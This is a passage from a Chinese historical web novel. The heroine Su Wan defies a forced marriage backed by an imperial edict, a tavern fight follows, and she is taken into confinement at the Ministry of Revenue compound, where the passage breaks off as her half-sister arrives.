温如初痛定思痛，一改此前的温和作风，手段转趋强硬。他两次请旨监管江南茶税及漕运，意图钳制殷潜，逼其配合改革，可惜中途折戟于黄河渡口。
后来全国各地灾荒不断，驿路失修，盗匪蜂起。天灾人祸并行，百姓苦不堪言，地方税收出现断崖式下跌，朝廷财政一度吃紧。民怨日盛，改革呼声再起。
温如初将舆情添油加醋一番，结合浙江漕运税收异常一案为证据，详细呈报皇帝，称百姓已认同新法，若不乘势推广，恐错失良机。
皇帝闻奏大喜，不仅重新决定土地税制改革在江南实施，更嘉奖温如初为“有识之士”，破格擢升入阁，以示褒扬。
刀锋再度架在了殷潜的脖颈，逼得他不得不四处奔走，频繁与阁部往来，低声下气地陈情诉苦。
这也是他今日应邀赴宴的主要目的——希冀户部尚书梁才出面斡旋，从中调停，劝说温如初将改革重点转向他省，暂且放过江浙一隅。
可他选错了对象。
苏绾暗自为殷潜捏了一把汗。
果不其然，梁才目光微沉，“殷大人此言，可是质疑朝廷之策？”
殷潜拱手作答：“下官不敢妄言是非。唯望圣策因地制宜，方能安民利国。”
梁才低低一笑，轻扣酒盏于桌案，瓷与木相击，发出轻微闷声响动。他抬眸望向温念，缓缓道：“温大人是哪一年入仕的？”
温念略一沉吟，答得恭谨：“永乐十年，初任翰林院，后转户部，时为从五品员外郎。”
“已有五年了啊。”梁才轻叹一声，感慨道：“老夫还当是昨日之事。人啊，不服老不行喽。”
他顿了顿，目光意味深长：“当年户部初见，就知你是可堪重任之才。如今看来，老夫当年的眼光，倒也不算太差。”
梁才的立场，不言而喻：他与温念，早已是一条船上的人。
事实上，正是梁才一手推动了土地赋税改革的问世。温如初的仕途之路，因有梁才这位权臣为其指引，方得以平步青云。
殷潜神色微敛，杯中酒尚未全部入口，已有几分难以下咽——虽说梁才这等回应早在预料之中，而他也只是随口抒发几句心中郁结，仍觉几许无力。
苏绾看得心中一震，方意识到自己过去的疏漏。她竟全然忽略了梁才这号人物的分量！
六部之中，吏、户、礼、兵、刑、工，各掌要政。其中吏部尚书由阁老章任梁兼任，权重朝纲。若论实权与影响力，户部尚书紧追其后，尤其是在财政吃紧，民生多艰之际。
而梁才，正是这柄掌控天下钱粮的钥匙。
她须试探一下，看对方的底线如何。
“梁大人，”苏绾缓缓抬眸，眸色如霜，“我在此坐了半日，只听得官话连篇，唇枪舌剑，你来我往，却与我何干？这酒也冷了，这菜也凉了，你们男人之间的朝堂博弈，小女子既听不明白，也无意强插一脚。”
“若今日这一席，是为了朝政大计，是为了赋税新法，为解救百姓于水火，苏绾自当识趣，不敢妄言
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半句。若这席间所谈，不过是为引出一纸早该作废的婚约。”
她抬眼看向温念，“我劝你死了这条心吧。”
霎时间，雅间内的气氛像被拂灭的灯火，瞬间暗了下来。
温念略微一怔，显然对苏绾的言辞感到有些意外。他卷了卷桃花眼眸，神情更加专注了些，仿佛要看穿眼前女子的心事一般。
梁才嗤笑一声：“苏姑娘口气倒是不小。婚姻大事，向来讲究父母之命、媒妁之言，何时轮得到儿女自行置喙？反了天了！”
苏绾淡声回道：“那桩婚事，本就是一桩权谋交易，自始至终从未问过我的意愿。世局翻覆，人心易变，莫说是昔年旧诺，就是当朝圣旨，若违背人伦大义，也该三思而行。”
梁才冷笑道：“圣上赐婚，天恩浩荡，自古无有撤销一说。御前亲颁婚书，红纸黑字，钤印为凭，岂容儿戏？你若执意抗命，不止是抗旨，更是辱了皇家颜面！”
苏绾神情微冷：“梁大人说得斩钉截铁，听起来像是圣上亲口所言。可这桩赐婚，既非出于真心，亦无实意。从头到尾，不过是某些人借联姻之名，行结党营私之实。若要论羞辱皇家，真正可耻的，难道不是将女子命运当成政治筹码的手段吗？”
“婚姻大事，我苏绾只认一条——愿者为之。圣上所求者，是社稷安稳，是百姓安康。若连微不足道如我的小女子都要被迫屈从强权，那这世间，又何来真正的‘圣明’可言？”
梁才果然是见过大世面的人，对苏绾这般略通文墨的女子并不感到稀奇。古往今来，那些略有学识的女子，总喜欢摆出一副清高孤傲的姿态，动辄引经据典，学着男人谈论风骨与自由，妄图掌握自己的婚姻命运。
在他看来，这样的挣扎，不过是徒增笑料——终究改不了女子附庸的本质，费时又无益。
梁才冷哼一声：“苏姑娘果然伶牙俐齿，连朝廷旧例都敢妄加断论。可惜，你一个女子再如何鲁莽直言，又岂知这桩赐婚之下，牵扯的是何等紧迫局势？”
他话锋一转，眼神落在殷潜身上，“殷大人，你在江浙多年，政绩虽有，根基未稳。若本官于皇后娘娘跟前提一句：你不识抬举，逆意抗旨，你以为，还能安然坐稳布政使的位子？”
话未说尽，意已透明：我不必逼她成亲，只需换个法子，叫你进退维谷，难有立锥之地。
殷潜神色未变：“梁大人金玉良言，下官铭记在心。只是下官前日入京，已蒙阁老召见，一番长谈之后，倒也得了几句教益。”
他说到“阁老”二字时，梁才眼神微滞，显然动了几分思量。
“阁老持重中正，兼管吏部章奏之权，素来最忌私情夹带公断。若梁大人真要为一桩早已无实的旧事，撺掇皇后娘娘开口施压，也并非不可。”
“不过依下官愚见，圣上与太后尚在，皇后娘娘不敢擅动朝局。若真闹到了御前，恐怕大人与我皆不讨好。”
章阁老竟偏向了殷潜一方！大大出乎梁才的意料，也打乱了原有的筹谋。
梁才沉吟半晌，端起酒盏抿了一口，抬眸瞥了温念一眼，见其神色自若，左手指尖叩了叩右手袍袖。
梁才有了底气。
他放下酒盏，脸上恢复了常态，“殷大人，方才多言，倒是我唐突了。”
殷潜不卑不亢：“大人客气。”
两人言止于礼，杯中清酒已尽，话锋也至此为止。席间气氛微变，波澜暗藏，不再言破。
苏绾看着这一幕，不禁感慨万千。殷潜这回是扛住了，但朝堂上的博弈远未结束，而她的命运，宛如一叶浮萍，被风浪裹挟其中。
厅中日光映着铜壶慢煮的酒香，苏绾缓缓起身，鬓间桃花簪晃了晃，素衣如雪，袍摆轻拂。
她抬眸环视众人，目光清冽如寒潭，“今日之会，若是为旧故叙谈，苏绾已奉陪到底；若是为那桩无效的婚约而设，我只有一句话——”
“我不会认，也不会从。”
言罢，她袍袖一拂，“无霜，春蝉，咱们走。”
该说的都说了，袖里藏剑也搬出来示人了，不必再过多停留，所谓兵不厌诈。
“慢着。”
温念手中酒盏微倾，琥珀色酒液轻晃，未洒出分毫。原本带笑的桃花眼，在光影晃动间泛起一丝阴冷。
他缓缓放下酒盏，指尖在案上敲了两下，声音极轻，压得气氛一沉。
良久，他低笑一声：“绾绾，你这脾气，倒是半分未改，性子还是这样直。”
“只可惜，我这人啊，最不喜欢听的，就是‘不从’二字。”
苏绾心头一紧。
129. 反扑
苏绾脚步一顿，绢鞋在打磨光滑的木地板轻轻一擦。她缓缓转过身，素白罗袖微扬，似风中翻卷的雪，眸光清冷如霜，直直落在案前坐着的温念身上。
那人仍旧嘴角含笑，桃花眼眸弯弯，似春风和煦的午后，却摇身一变，化作深渊潜伏的恶蛟。
恶魔，终于露出了獠牙。
一股熟悉的寒意自心底涌起，前世噩梦再现，恶魔正一步步朝她逼近，要将她撕碎啃啮，不留一丝生路。
她在心里给自己打气：不怕，他不敢乱来！
这一世，她再不是任人宰割的羔羊。
“你在说什么疯话？”她强作镇定，道：“这许多双眼睛看着，你还想当众拿我不成？”
话音刚落，立于身后的无霜、春蝉立即上前护住苏绾。尤其春蝉，眼神保持犀利，手指悄然探向腰间盘扣的软鞭，拇指一挑，鞭柄已在手中稳稳扣住。
面对三只炸毛的猫儿，温念的眼角弯出一个笑意，温柔得近乎讽刺。
“绾绾，”他轻唤道：“你还真是，不见棺材不掉泪。”
他摩挲着青玉杯盏，指腹在杯沿旋转，发出细微的摩擦声。他轻轻叹息一声，遗憾又无奈：“你不会真以为，阁老是真心支持你们的吧？”
“那只老狐狸啊，不过是在玩一场权衡的游戏。若仅有一方占据绝对主动权，那这局多没意思。棋局好看，是因为两边势均力敌。”
他唇角一挑，“而你不过是他留给贵妃一派最后的筹码，一枚已经用得差不多，随时可以丢弃的棋子罢了。”
“他说要保你们，你就真信了？”温念摇头苦笑：“绾绾，你想学男人搞权谋……”
他举起酒盏，煞有介事地隔空朝她一敬，杯中酒光微晃，像一潭暗涌的潮水。
“还是差了点意思。”
此话一出，苏绾心头警铃大作。她隐约预感到，对方怕是就要亮出杀手锏来了。
果不其然，温念伸手拂开案几一角的酒盏残羹，从怀中取出一只细狭锦匣，暗红缎面，泛着沉沉光泽。
指尖轻扣，匣盖“啪”地一声弹开，露出其中卷得整整齐齐的黄绫一道。
温念不疾不徐地抽出黄绫，缓缓展开，一行朱笔熠熠生辉，落款盖着玉玺金印。
苏绾不禁感到胸口微凉，她再冷静，也明白那道黄绫并非寻常文书，分明来自御前。
温念仿佛全然未察觉众人的神色，他将手谕举得更高，像是炫耀战利品一般。
“此乃御前亲授手谕，”他得意洋洋道：“予我一项特权——入阁之后，可提一愿，或赦一人，或定一事。不问由头，不问因果。”
他睇向苏绾，眼神宛如婚前誓言般庄重，“而我之所愿，惟有迎娶苏绾。”
顿了顿，语气更沉一分，“无论其人意愿如何。”
屋内静若死寂。
帘外风声掠过，吹动门洞挂着的一帘春幔。斜阳映在摊开的手谕，金辉灼眼，好似天威笼罩的金箔诅咒。
殷潜脸色倏然一变，身形下意识地前倾，额首已微微渗出细汗。
苏绾愣在原地，半晌说不出话。她万没料到，温念竟早早布好了局，不是凭借情义，也不是礼法，而是凭一道凌驾于一切之上的圣旨——他以入阁为筹，换来如此荒谬绝伦，又令人无法驳回的特权。
“真可笑。”她惶惶开口，声音发颤，“用一纸荒唐的手谕，强娶一位……女子。”
她咬住嘴唇，硬吞下那个“弱”字，她不能折戟沉沙输在这里。
“你也忒瞧得起我。”苏绾咬牙道。
温念静静看着她，目光深沉如墨，情绪晦暗莫测：“圣恩既许，即是正统。何来荒唐一说？你既不肯嫁，我也只好换一种令你无法拒绝的方式——娶你进门，做我温念的妻。”
“做我温念的妻。”
这句话，苏绾不是第一次听他讲。昔年他也这样说，温柔款款，情深不悔。彼时她心软胆怯，不敢撕破脸皮，驳他分毫。
物是人非事事休。
她早已脱胎换骨，烈火重生。也认清了那些所谓的山盟海誓，不过是包裹剧毒的糖衣，轻轻一触即碎。
“你做梦去吧！姑奶奶只有一句话。”
话音未落，苏绾已捉裙疾步上前，一把夺过案上那道手谕。指甲深嵌绫面，两手手腕一抖，毫不迟疑地用力一扯。朱批金印应声而断，黄绫撕裂，碎帛如蝶，飘然落地。
“我死也不嫁！”
声音震方天籁。
“你、你疯了！”梁才骤然站起身，惊怒交加，“你可知这是什么？这是圣谕！私毁圣命，乃是诛九族的大罪！”
苏绾的指尖仍在微颤，指缝缠绕着几缕金丝。她知道，自己在拿生命做赌注，已将退路尽毁。可她咬紧牙关，昂然抬起头，星眸闪着耀眼光辉。
“圣命若不能济世安民，护我百姓，只为你这等小人谋私，强加于良家女子头上，那便不是圣命，只是一纸荒唐的笑话！”
她环视满室，一字一顿道：“今日我苏绾在这醉仙楼，宁肯血洒当场，也绝不做你温念的妻。你所要挟的、威胁的、逼迫的，无理取闹，我一个都不认！”
话音如刀，划破厅堂静寂，连窗外风声，都为之一滞。
殷潜观望了半晌，眼底情绪翻涌。他既憎恨自己屈服于强权的无奈，更震撼于苏绾这般看似柔弱女子，在绝境中仍不肯低头的坚决。
他攥了攥拳，道：“温大人，若你真要凭一道圣谕强行婚姻之事，下官只得另循其道，拟折上书礼部，弹劾你借圣权行私欲，扰乱礼制，欺君罔上。”
“放肆！”梁才几乎是脱口而出：“殷大人一派胡言！此乃圣上亲授之权，岂容你一介外臣妄议？谁给你的胆子，在这等场合直指天恩为私情！”
他伸手指向殷潜：“你若敢参温念一折，便是质疑圣上圣断！到那时，不止是他，你也别想安然无恙！”
两人开启新一轮的唇枪舌剑，火光四起。
山雨欲来风满楼，温念唇角原本的笑意渐渐褪去，余下一抹冷意。
他低着头，指尖在那堆被撕碎的黄绫残片上轻轻敲击，叫人心头发紧。
“绾绾，”他终于开口，语气平静地令人窒息，“我劝你，莫要逼我。”
他抬手理了理袖口，淡然道：“我一向待你宽厚，事事容让你，只盼你能听我的话。可惜啊，”他轻叹一声，“是我太过纵容你，才让你如此任性妄为，不知天高地厚。”
桃花眼眸望向她，眼底尽是沉沉暗意，像深不见底的湖，泛不起一丝波澜。
“都是我的错。”他煞有介事地反省。
言毕，温念手一挥，“拿下。”
一声令下，两名随从自屏风后现身，迅速扑向苏绾。无霜惊叫一声，两手伸展护主。
“放肆！”殷潜怒声喝道，“温念，你莫非要在这醉仙楼，当众劫人不成？”
他转身厉视梁才：“梁大人，连你也坐视不管？堂堂户部尚书，竟与乱臣贼子同流合污，甘愿为虎作伥？”
梁才不急不恼，摊开双手，摆出一副无可奈何的模样：“我怎会不想劝阻？可温大人列名内阁大学士，官衔在我之上，又有圣上亲封诰命在身，朝中上下，谁敢说他半句不是？”
说到此处，他神色一变，声音忽沉：“你们也该明白，自古圣旨大如天，既然圣上已有定意，拦者抗命，才是真正的大不敬！”
他瞥了一眼被苏绾撕毁的圣谕，“更何况，你纵容外甥女毁谕抗旨，罪同谋逆。本官若当真铁面无私，奏明陛下，诛你满门，也未尝不可。如此方显我朝法度森严，朗朗乾纲。”
“你！”殷潜怒极，正要上前，苏绾先一步拂袖，一只玉盏从她手中飞出，“哐啷”一声摔在地上，碎瓷四溅，宛如雷霆乍响。
摔杯为号。
一声短促的啸声仿佛自虚空响起，尚未落地，窗纸“哧”地裂开数道口子，数道人影破窗而入，衣衫素旧如市井布衣，唯刀光冷冽，似雪夜中藏锋之刃。
为首一人肩宽腰阔，络腮胡浓密如墨，一双铜铃眼血光乍现，重刀在手，凛然如虎下山。正是萧染麾下得力死士络腮胡，萧染临走之前，吩咐手下好生保护苏绾与秦欢。
空气凝结成冰。
温念眉头一挑，似乎有些惊诧：“你竟早有准备？”
苏绾冷笑：“你以为你机关算尽，我就没有退路了吗？温念，我不是当年那个任人摆布的庶女了。”
她站直了身子，目光清冽，宛若寒霜破晓：“你要强
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娶我，尽管试试看，看你有没有那个命。”
两军对峙，杀气沉沉。
楼外风声骤紧，春日阳光再耀眼，也难掩这堂中浓浓杀意。
殷潜冷声开口：“梁大人，再不管束你这位‘同僚’，让他低头认错，恐怕朝廷颜面，尽毁于此一宴之间。”
梁才一时竟再难言语。
雅间本是清宴之所，灯火柔和，酒香氤氲，歌舞升平，骤然间杀气凛冽，一如春水中投下铁石，猝然激起千重浪。
“杀！”络腮胡低吼一声，声如暮鼓。
其中一名随从显然是首领，他一手横起，灰色衣袖飘然如云，顷刻拔剑，寒光乍现。剑未出鞘，气先成锋，轻轻一转，拦下络腮胡的首击。
四周随从们亦纷纷应战，刀剑碰撞，火星飞溅，顷刻之间，清雅厅堂化为修罗战地。
桌椅翻倒，酒盏碎裂，美味佳肴落地与血肉混为一色，香雾与尘灰交融，化作呛人烟气。
无霜双臂死死搂住苏绾，她身量娇小，像一根绷紧的弓弦，虽然不懂武艺，亦未有半步退缩，用脊背抵挡一切可能伤害小姐的利刃。
春蝉则积极跃入战圈，手中细鞭一卷一甩，灵蛇般掠过敌阵。鞭声清脆如弦音，落处皮肉迸裂，鲜血飞洒。她裙摆翻飞，脚下如风，每一步踏着混乱节奏，攻防来去自如。
一开始，在温念一方团团围攻之下，死士连折两人。小小雅间刀剑如林，杀意如潮，连空气都被鲜血蒸煮得发黏。
转瞬之间，局势陡变。
络腮胡一刀斩碎整张紫檀圆案，木屑四散，他一路横劈，竟无人可挡。死士趁势再攻，春蝉亦挥鞭如雨，节节紧逼。
灰衣人面无表情，长剑翻飞，剑影连绵如水墨长卷，被络腮胡的紧密进攻逼至二楼楼梯口。络腮胡怒喝一声，足下踏破木地，一记回刀如惊雷霹雳，重重砍向灰衣人咽喉。
“噗！”
刀入血肉，声如裂帛。
灰衣人喉头溅起一道血线，双眼失神瞬间，长剑垂落于地，身形僵硬后仰，如枯木般倒塌。
整座酒楼忽而死寂。
死士反客为主，随从节节败退，有的弃刀逃命，有的死于乱刃。
宾客早就四散逃离，杂役小二们纷纷躲进后厨。酒楼满地狼藉，金樽翻滚于血泊，断案、倒盏、破席、残灯，像极了一场突如其来的梦魇。
春蝉收鞭立于苏绾前，战意凛然，裙角飘摇如鸢尾盛开。
无霜仍搂着苏绾，肩头微颤，却未放手。
苏绾站在这一地杀伐中，衣袖未乱，眉目如刀，目光直指尚未起身的温念，唇角泛起一丝冷意，仿若从血泊中开出的一朵寒梅。
眼看局势逆转，形势已偏向苏绾，可她心里仍揣着一丝不安——温念没那么容易服输。
一定还有更大的阴谋等着她。
忽然间，楼外一阵急促马蹄声传来，紧接着，十数名身披鱼鳞甲的士兵冲入醉仙楼，刀戟如林，杀气凛然。
为首将军身穿金甲，器宇轩昂，一声冷喝压过众人喧哗：“都给我住手！”
苏绾心内一颤。
还道是哪位将军天降正义，原来是旧相识。
那人正是五城兵马司的都指挥使——陆展元。
他扫视满地狼藉，居高临下冷声道：“本将军奉皇命查缉非法聚众、图谋叛乱之嫌，所有人不许擅动！”
殷潜厉声质问，“你可知我是谁？”
陆展元冷冷道：“下官当然知道殷大人身份，只是军令在前，纵是亲王贵胄，也得依律行事。有谁胆敢抗命，杀无赦！”
随着他一声令下，士兵列队上前，将苏绾一方团团围住。死士们虽不惧死，也知正面硬拼只会逼苏绾陷入绝境，一时竟也纷纷收手，护主后退。
苏绾心知，强行抵抗只会适得其反，落得个反叛朝廷之罪，连累所有人跟着她陪葬。
她并不怕死，可是身边还有无霜、春蝉，还有络腮胡，甚至殷潜也罪不至死。
苏绾缓缓吐出一口气，袖下紧握的手终是松开。
“罢了。”
她向殷潜使了个眼色，随即转身，坦然看向温念：“我认了。”
温念嘴角上扬，“乖，这才是我的好绾绾。”
130. 入宫
“苏绾，你不必强求自己，不想嫁就不嫁。”殷潜的话语带着一抹穷途末路的狠劲，“大不了，舅舅舍下这张老脸皮，金銮殿里哭他一场，非要将这笔罗织的烂账掰扯清楚不可。”
他心里堵得慌，这一仗输得忒窝囊。明明一开始还占着上风，结果被一道莫名其妙的圣谕，和一个不成器的败家子，打得根本接不住招式，连喘口气的余地都没有。
败家子将军甫听这话，立马握紧了腰间佩刀，眼珠子一瞪，嗓门也拔高几分：“只怕殷大人还没走出这醉仙楼，眼泪就得流干了，御前想哭也哭不出来！”
殷潜斜睨了那厮一眼，他当然晓得陆展元的底细，他是陆能的嫡长子，温如初的跟班，一个连个屁都不敢自己放的主。
不过他也听说了，兵部尚书的长子，不光脑子不顶用，还不能尽人事。有这等孽子，难怪陆能最近都不愿上朝了。
殷潜不疾不徐道：“年轻人眼界窄点也不打紧，莫让人笑话你坐井观天，不识青天多高，黄地多厚。”
陆展元抱臂冷哼：“殷大人远在江南，手却伸到了京城，未免太长了些。”他手一挥，“有什么话，兵马司大牢里说去吧。”
言毕，陆展元一挥手，即有士兵出列上前，要将殷潜扣住拿下。
“住手。”苏绾莲步而出，罗裙如水，两手一拦，挡住殷潜。
她狠狠瞪了陆展元一眼，那架势仿佛要将他剥皮拆骨，“我不是已经认了么？你们还想怎样？”
陆展元一见苏绾，眼神直勾勾地黏上去，馋得手心发痒，脚底发虚，连忙搓着手，堆出一脸谄媚的笑容：“哎哟，这不是苏小娘子？这些日子不见，你可还好啊？”
苏绾扫了他一眼，眼波冷若寒星，语气夹棒带刺：“你还有脸跟我说话？堂堂兵马司都指挥使，活得跟个奴才似的，被人呼来喝去，黑白不分、是非不辨，丢不丢人呐？”
她步步逼近，神色愈发凌厉：“你带着这许多兵马闯进醉仙楼，是看我苏绾没有父母亲庇佑，可着我孤零零一个人儿欺负？”
“竟还敢栽赃我舅舅，说他非法聚众、图谋不轨。他老人家身居从二品布政使，好不容易进一趟京城，难道就为了犯上作乱吗？瞎了你的狗眼！”
这一通话把陆展元训得灰头土脸，当场涨红了脸皮，讪讪低下头，不敢直视她，又忍不住偷偷斜眼瞄她的神色，小声辩解道：“这、这个……我也是奉命行事，身不由己嘛……”
苏绾懒得理睬他，转身按住殷潜的衣袖，声音笃定：“舅舅莫要担心，量他们谁也不敢欺负我。”
她身子站得沉稳，像是孤注一掷的战士，也像风吹不倒的素竹。殷潜垂眼看她一瞬，心口仿佛被什么堵住，恨自己空负官身，到头来也护不得膝下儿女周全。
忽然脚下一声脆响，殷潜垂眸望去，只见半片白瓷碎裂在靴底，细密的瓷碴恰好嵌进那被撕裂的黄绫纹理，绫边被人踩得起褶，朱批金印模糊不清。他盯着那道锦绫仔细看了两眼，顿觉胸口沉若坠铅，压得他快要喘不过气。
对方拿出了圣谕，就算闹到太后跟前，翻盘的希望也是渺茫。他若硬带人走，是抗旨谋逆；可若低头妥协，等于将苏绾亲手推进深渊，万劫不复。
午后光线透过窗棂斜斜落下，照亮了酒楼遍地狼藉，照不进他心头昏暗分毫。
这时苏绾指尖收紧，贴着他的肩膀，低声补了一句：“他们要娶我，也得先过了我父亲这一关。”
父亲？
殷潜眼底闪过一抹精光，她总归不是在提苏君识那个胆小鬼。这是在提醒他，让他找机会与贵妃联手，将她的身世真相昭告天下，从而逼迫她的亲生父亲出面斡旋。
可那个男人，兴许还不如苏君识靠谱。
殷潜抬手拍了两下外甥女的手背，像是承诺，也像是安抚：“我明白了。你自己千万要撑住。”
一旦进了那座宝塔，没有回头路可走，他再也没有办法庇护她了。
很快，众人陆续退场，酒楼恢复平静。温念与梁才借口公务在身，一前一后登上轿辇，先行离去。苏绾与无霜、春蝉三人则被送上另一辆马车。
“我们都被阁老耍了。”殷潜望着马车远去的影子，喃喃自语。
他转头看向一旁负责调度的陆展元——那个仗着爹在兵部，胡作非为，吃喝嫖赌的纨绔子弟。
这等孽障，平日里狐假虎威惯了，绝没胆子掺合这淌浑水，怕是连醉仙楼的门槛都不敢踏入半步。若非背后有人撑腰，哪里轮得到他在这强出头？
十有八九就是陆能。
堂堂兵部尚书，竟肯为温如初的这场好戏站台到这份上，连朝廷规矩和官场脸面都撕得干干净净。
殷潜一时难断陆能到底是早已投诚温如初，还是按照阁老的旨意故意按兵不动。在这场血雨腥风博弈里，一切所谓“袖手旁观”的中间人，手里都握着杀手锏，谁也别妄想置身事外，独善其身。
他望向酒楼狼藉一片，唇角牵起一抹苦笑：“阁老的手段，还是一如既往地老辣啊。”
风从破裂的窗棂灌入，带起一缕尘灰，打着旋儿飞入厅堂，落在那道碎裂的黄绫，掩住了最后一抹朱红。
苏绾又岂会不知，自己早已落入章阁老布下的诡局。那纸圣谕，那场“赐婚”，表面是温念一手策划的强取豪夺，背后隐藏着内阁的筹谋算计。
可她看得比殷潜更深一层：章阁老纵然权倾朝野，说到底也只是听命行事的爪牙。真正布棋落子的，是那位端坐金銮之巅，喜怒不形于色的九五之尊。
这局下得狠，一石三鸟。温如初是棋子，她苏绾是棋子，殷潜与陆能一干人等，皆是棋子。无非就是看谁走得远，谁被弃得快，谁又死得其所。
当然，现在下定论还为时过早，还有太多的谜题没有答案。但这一回，她要亲自入局坐庄，哪怕落得满盘皆输的下场，也须得由她亲手落下每一子。
原本温念允了苏绾先回苏府收拾行李，可她连这个面子都懒得撑了，索性带着无霜与春蝉登上马车，直接前往皇宫下榻处——温念打着“方便阅卷”的幌子，一直宿在户部衙门，甚至在入阁以后都没撤出。
苏绾的举动令温念感到十分诧异——这哪里是被强娶豪夺？倒像是打好了铺盖卷，迫不及待要嫁给他似的。
苏绾要的就是这个。她孤身赴会醉仙楼，甘愿唱这一出“被俘记”，所图的，正是这身顺利入宫的名分。
那榴花宫闱里面，埋藏了她太多过往。一纸荒唐事，一腔旧时泪，她已无路可退，唯有期盼借着这场赐婚陷阱，从废局之中，匍匐爬出一条活路。
废话不多说，转眼间，又到了春花窈窕，群鸟争鸣的季节。阳春三月，紫禁城内万物复苏，宫墙内垂柳新绿，宫道两侧桃花杏花盛放，一簇簇开得热烈，落英缤纷如雪。琉璃瓦映着天光，风过花影摇曳，整座宫城都被春色浸透，连最阴沉的角落也添了几分绿意。
户部衙门坐落在皇城东南一隅，地势略低，占地面积不算广大，三进三出的院落层层递进，布置严谨规整。
最外一进为正衙，是官员日常办公之所。左为司员办事房，右设候差处。中院则是议事与接待场所，设有会客厅、小堂、茶斋。另有角门通向后宅。最里一进是私宅所在，本由尚书与高位官员暂居，如今被户部侍郎占据。东厢为书房，藏书万卷，常年留灯以便夜读；西厢是卧房，设榻设屏，临窗种梅，颇有文雅气息。
整座宅邸低调不奢华，规制严谨，风骨内敛，是权柄与规矩并存之地。
连续几日，温念始终日夜栖身书房，从未踏足苏绾下榻的卧房半步。苏绾所居的这处偏殿倒也清净，吃穿用度皆有宫人妥善打点，连无霜与春蝉也跟着过上了饭来张口、衣来伸手的悠闲日子。
但若说安逸，却远未达到那个程度。温念指派了锦衣卫驻守殿外，苏绾三人平日寸步难出，说是照拂周全，倒不如说是被软禁在身。
这日晌午，阳光暖融融地斜洒进屋，照得屋中一片静谧温和。无霜坐在床前细细叠着衣裳，嘴巴没闲着：“姓温的费尽周折将小姐抢进门，怎得连个人影都不露？难不成，就是为了充个门面？”
苏绾坐在窗前，素指穿针引线，绣着嫁衣的袖口。那是一匹上好的苏绸，质地细腻柔滑，金丝闪着温润光泽。她有一搭没一搭回道：“没错，他抢我来，就是为了充个门面。”
春风拂动帘幔，嫁衣金线微颤，波光流转。苏绾低头细看，觉得刚才那一针稍有偏斜，又慢慢拆了重来。
“
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那也太费事了些，”无霜撇撇嘴，将叠好的衣裳收纳放进柜里，“可他演这一出戏，给谁看啊？”
正说着，春蝉捧着一盘温茶走了进来，一边将茶盏稳稳放在案几，一边道：“外头传话的人说，温大人今晚留在内殿，不回来了。”她顿了顿，压低声音补了一句，“听说是陪太后翻旧账呢。”
苏绾没抬头，手中动作一顿，金针停在绣面。她指尖一转，将线头收紧，淡淡开口：“他这局棋，下得还真是不慌不忙。”
金丝在指间游走，绣针翻飞，纹路渐显。凤凰羽翎已露雏形，纤毫毕显，华丽却不张扬。
无霜轻声问道：“小姐，这件嫁衣，您还真打算穿？”
苏绾嘴角微扬：“不穿，绣它做什么？上年就在做的事，如今不过是画上完满句读罢了。”
哪有什么非娶她不可？分明是皇帝对温念起了疑心，怀疑他与皇后有不清不楚的牵连。温念情急之下，只能赶紧表白自己忠贞不渝，搬出已有“心上人”的说法，说自己婚约在身，正是吏部苏郎中家的二小姐。
这桩婚事，说白了就是两年前皇帝一时糊涂，被人蛊惑写下一纸婚约，根本没机会看清楚温念是什么样的人品。可怜皇帝老儿还以为他是个忠心耿耿，可堪重用的青年才俊。
苏绾才不信皇帝一门心思逼她下嫁，醉仙楼那出“奉旨抢亲”的戏，不过是温念演给皇帝和太后看的——毕竟随便拉一个女子来凑局，怎比得上“钟情三年”的未婚妻更有说服力？
温念自作主张将婚期定在三月初十——偏偏就是去年纳征的日子，挑得极为讲究，仿佛是要昭告天下，这段婚事板上钉钉，兜兜转转，她还是他的人不可。
其实嫁不嫁的，苏绾早就麻木了。活了两世，她已不在乎那一纸婚书另一边写着谁的名字。就算写一只鸡、一条狗，她也照嫁不误，嫁鸡随鸡，嫁狗随狗。
反正，她接下来真正要做的事，和她嫁给谁，没有一文钱关系。
这时，春蝉悄悄递上一个纸卷，“今早传来的，我压了一上午，等宫人们都散了，才敢收我的雀儿。”
苏绾点点头，展开纸卷阅读：
「伯娘大人亲启：
行简叩首，见信如晤。别来日久，惟愿伯娘康健安和，诸事无虞。
行简与沈姑娘已抵达太原府，路途虽远，风雨交加，所幸天佑人和，未遭大难。沿途多有不便，夜宿山寺，昼行官道，虽倦且安，敬请宽心。
途中屡有尾随之迹，疑为沈恪所遣，所幸未曾正面相遇。沈姑娘心意已决，不愿再见父亲，恐遭阻拦。
天真烂漫一女子，对我多有托付，或因信我可守其志。我不敢怠慢，以性命为誓，护她周全。
前路漫漫，终要前往蜀中老家，山高水远，尚未知几时可得安定。既已踏上征途，绝不复回头。
行简一介寒门书生，虽知前路荆棘，但志不悔。惟愿伯娘安心，待尘埃落定，再回膝下承欢。
纸短情长，不能尽述，唯以尺素略表平安之意。望伯娘珍重身体，勿念。
顾行简顿首
永乐十六年三月初一，太原府驿馆草书」
苏绾读着读着，眉头渐渐舒展。顾行简那个家伙，装起“入京赶考，结果盘缠用尽，投奔亲戚却无人问津”的穷酸书生，简直手拿把掐，有模有样。
她这个“伯娘”，看着“侄子”不仅安然无恙，还顺路拐了位千金大小姐回去，心里不免生出几分欣慰——这出戏码正按照她的指挥，有条不紊进行中。
大侄子，你可得给伯娘长点脸！
无霜拿出火折子，轻轻一划，火星跳跃而出，点燃了烛台。暖黄的烛光晃动，映着三重静默的身影。
苏绾拈起信卷，缓缓送入火焰。纸卷边缘迅速卷曲，火舌舔过每寸字迹，所有的秘密在一瞬间化为了飞灰。
最后一缕灰烬燃尽时，门外传来一阵喧哗，脚步杂乱，夹杂着尖细而熟悉的嗓音：
“苏绾，你给我滚出来，我倒要看看，你这位‘阁部夫人’当得有多风光！”
无霜一愣，忙去掀帘看了一眼，惊道：“糟了，大、大小姐来了。”
苏绾眸光一沉，迅速将烛火掐灭，缓声道：“看来，今日耳朵不得清净了。”
131. 空城
“本官奉命监察礼仪，尔等不得阻挡！”
随着来人一声令喝，守门的宫人们躬身碎步退下。
只见苏沅芷一身女官妆束，身穿正六品尚宫局司仗青色补服，胸前绣着白鹏补子，衣袍下摆光彩流转。她头戴乌纱帽，帽翼坠着两根珠玉流苏，妆容精致，眼里载着掩不住的轻蔑。
苏沅芷在宫中供职于司仗司，专管宫中礼制、仪仗事宜，手下豢养着一队专事护卫与仪仗的女兵——虽说她自己不会半分武艺，单凭着这身官袍，平日里在后宫也是恣意横行霸道。
这日，趁着温念外出之际，苏沅芷带着一名身形壮硕的婢女，气势汹汹地闯入了户部衙门，只为堵苏绾一人。
